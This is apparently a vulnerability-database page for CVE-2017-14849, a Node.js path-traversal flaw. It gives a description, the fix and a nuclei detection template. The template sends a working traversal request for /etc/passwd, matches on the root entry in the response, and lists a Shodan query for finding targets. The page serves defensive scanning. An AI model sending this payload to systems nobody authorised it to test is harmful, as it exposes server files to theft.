Browse / CVEs / CVE-2017-14849
CVE-2017-14849· nodejs / node.js· CWE-22
Node.js <8.6.0 - Directory Traversal
highseverity
7.5CVSS score
54.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
Impact
An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
Fix
Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/static/../../../a/../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2017-14849 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-14849
info:
name: Node.js <8.6.0 - Directory Traversal
author: Random_Robbie
severity: high
description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
reference:
- https://twitter.com/nodejs/status/913131152868876288
- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
- https://nvd.nist.gov/vuln/detail/CVE-2017-14849
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-14849
cwe-id: CWE-22
epss-score: 0.54389
epss-percentile: 0.99021
cpe: cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: nodejs
product: node.js
shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
tags: cve2017,cve,nodejs,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://twitter.com/nodejs/status/913131152868876288
- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
- https://nvd.nist.gov/vuln/detail/CVE-2017-14849
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from